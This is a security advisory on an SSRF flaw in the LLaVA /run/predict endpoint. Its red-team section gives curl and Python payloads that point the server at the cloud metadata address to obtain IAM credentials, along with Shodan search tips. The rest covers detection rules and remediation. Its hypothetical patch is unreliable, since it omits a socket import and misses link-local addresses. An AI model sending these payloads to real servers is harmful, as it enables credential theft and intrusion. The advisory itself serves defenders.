CVE-2024-11449

Executive Summary

CVE-2024-11449 is a Server-Side Request Forgery (SSRF) vulnerability in haotian-liu/llava version 1.2.0 (LLaVA-1.6). The flaw exists in the /run/predict endpoint, where insufficient validation of the path parameter allows an attacker to craft requests that force the server to make requests to internal networks or cloud metadata endpoints (e.g., AWS http://169.254.169.254/). This can lead to unauthorized access to internal services, sensitive data exposure (such as cloud instance credentials), and further lateral movement within the network. The vulnerability has a CVSS score of 7.5 (High) and currently has no known patch.

Supply Chain & Package Security

This vulnerability affects the open-source LLaVA project, which is distributed via GitHub and can be installed as a Python package. Users who have deployed LLaVA version 1.2.0 in their environments are at risk. Since the project is not distributed through PyPI, the primary supply chain risk is from direct GitHub cloning or Docker images. Organizations should verify their deployment sources and ensure no unauthorized modifications have been made to the codebase.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The high confidentiality impact stems from the potential to access sensitive internal resources, including cloud metadata endpoints that may contain credentials.

Deep Dive & Mechanics

The vulnerability is located in the /run/predict endpoint of the LLaVA application. This endpoint is designed to accept a path parameter that specifies the location of an image or other resource to process. Due to insufficient input validation, an attacker can supply a URL instead of a local file path. The server then makes an HTTP request to that URL, effectively acting as a proxy.

The core issue is that the application does not sanitize the path parameter to prevent requests to private IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, or the AWS metadata IP 169.254.169.254). An attacker can exploit this by sending a POST request to /run/predict with a JSON body containing a malicious path value.

Example Attack Flow:

1. Attacker identifies a publicly accessible LLaVA instance.
2. Attacker sends a POST request to /run/predict with {"path": "http://169.254.169.254/latest/meta-data/"}.
3. The server fetches the AWS metadata, which may contain IAM role credentials.
4. The server returns the metadata content in the response, or the attacker can use the SSRF to interact with other internal services.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state of the repository. The following is a simplified representation of the vulnerable logic:

Vulnerable Code (Python-like pseudocode):

@app.route('/run/predict', methods=['POST'])
def predict():
    data = request.get_json()
    path = data.get('path')
    # No validation of path
    response = requests.get(path)  # SSRF vulnerability
    return response.text

Patched Code (Hypothetical):

import ipaddress
from urllib.parse import urlparse

@app.route('/run/predict', methods=['POST'])
def predict():
    data = request.get_json()
    path = data.get('path')
    parsed = urlparse(path)
    if parsed.scheme in ['http', 'https']:
        host = parsed.hostname
        try:
            ip = ipaddress.ip_address(host)
            if ip.is_private:
                return "Forbidden", 403
        except ValueError:
            # Hostname, resolve and check
            resolved = socket.gethostbyname(host)
            ip = ipaddress.ip_address(resolved)
            if ip.is_private:
                return "Forbidden", 403
    response = requests.get(path)
    return response.text

Exploitation & Lab Setup

Red Team

Prerequisites:

• A publicly accessible LLaVA instance (version 1.2.0).
• Basic understanding of HTTP requests.

Exploitation Steps:

1. Identify Target: Use Shodan or similar to find LLaVA instances. Example dork: http.title:"Gradio" or http.html:"llava".

2. Craft SSRF Payload: Send a POST request to the /run/predict endpoint with a malicious path parameter.

   Using cURL:

   curl -X POST http://target:7860/run/predict \
     -H "Content-Type: application/json" \
     -d '{"path": "http://169.254.169.254/latest/meta-data/"}'
   

   Using Python:

   import requests
   
   url = "http://target:7860/run/predict"
   payload = {"path": "http://169.254.169.254/latest/meta-data/"}
   response = requests.post(url, json=payload)
   print(response.text)
   

3. Extract Data: The response will contain the AWS metadata, including IAM role names. Further requests can retrieve credentials.

4. Internal Network Scanning: Modify the path to target internal services (e.g., http://10.0.0.1:8080/).

Blue Team

Detection and Response:

1. Monitor Outbound Traffic: Look for HTTP requests from the LLaVA server to private IP ranges or cloud metadata endpoints.
2. Log Analysis: Check application logs for unusual path parameters containing URLs.
3. Network Segmentation: Ensure the LLaVA server is in a DMZ with restricted outbound access.
4. Web Application Firewall (WAF): Deploy rules to block requests with path parameters containing private IPs or metadata endpoints.

Lab Setup for Testing:

1. Deploy Vulnerable Instance:

   git clone https://github.com/haotian-liu/LLaVA.git
   cd LLaVA
   git checkout v1.2.0
   pip install -e .
   python -m llava.serve.controller --host 0.0.0.0 --port 10000
   python -m llava.serve.model_worker --host 0.0.0.0 --controller http://localhost:10000 --port 40000 --worker http://localhost:40000 --model-path liuhaotian/llava-v1.5-7b
   python -m llava.serve.gradio_web_server --controller http://localhost:10000 --model-list-mode reload --port 7860
   

2. Simulate Attack:

   curl -X POST http://localhost:7860/run/predict \
     -H "Content-Type: application/json" \
     -d '{"path": "http://169.254.169.254/latest/meta-data/"}'
   

3. Monitor Logs: Check the Gradio server logs for the request.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests from the LLaVA server to private IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • Requests to 169.254.169.254 (AWS metadata) or 100.100.100.200 (Alibaba Cloud metadata).
  • Unusual path parameters in POST requests to /run/predict containing URLs.

• File IOCs:

  • Log entries in the Gradio server logs showing path values with http:// or https:// schemes.

• Behavioral IOCs:

  • Unexpected outbound connections from the LLaVA server to external IPs.
  • Increased latency or errors when the server attempts to fetch external resources.

Detection Engineering

YARA Rule

rule CVE_2024_11449_SSRF_LLaVA {
    meta:
        description = "Detects SSRF attempts against LLaVA /run/predict endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11449"
    strings:
        $ssrf_path = "/run/predict"
        $metadata_ip = "169.254.169.254"
        $private_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/
    condition:
        $ssrf_path and ($metadata_ip or $private_ip)
}

Sigma Rule

title: CVE-2024-11449 SSRF in LLaVA /run/predict
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SSRF attempts targeting private IPs or cloud metadata endpoints in LLaVA logs
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: gradio
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/run/predict'
        cs-uri-query|contains: 
            - '169.254.169.254'
            - '10.'
            - '172.16.'
            - '172.17.'
            - '172.18.'
            - '172.19.'
            - '172.20.'
            - '172.21.'
            - '172.22.'
            - '172.23.'
            - '172.24.'
            - '172.25.'
            - '172.26.'
            - '172.27.'
            - '172.28.'
            - '172.29.'
            - '172.30.'
            - '172.31.'
            - '192.168.'
    condition: selection
falsepositives:
    - Legitimate use of external image URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11449 SSRF in LLaVA /run/predict"; flow:to_server; content:"POST"; http_method; content:"/run/predict"; http_uri; content:"path"; http_client_body; pcre:"/(169\.254\.169\.254|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /run/predict endpoint if not required, or restrict access via firewall rules.
2. Implement input validation to block URLs pointing to private IP ranges and cloud metadata endpoints.
3. Apply network segmentation to limit outbound traffic from the LLaVA server.

Long-term Fix:

• Monitor the official LLaVA repository for a patch. Until then, consider using a reverse proxy (e.g., Nginx) to filter requests to /run/predict and validate the path parameter.

Workaround:

• Modify the application code to use a whitelist of allowed domains or paths, or disable the feature entirely.

Valters IT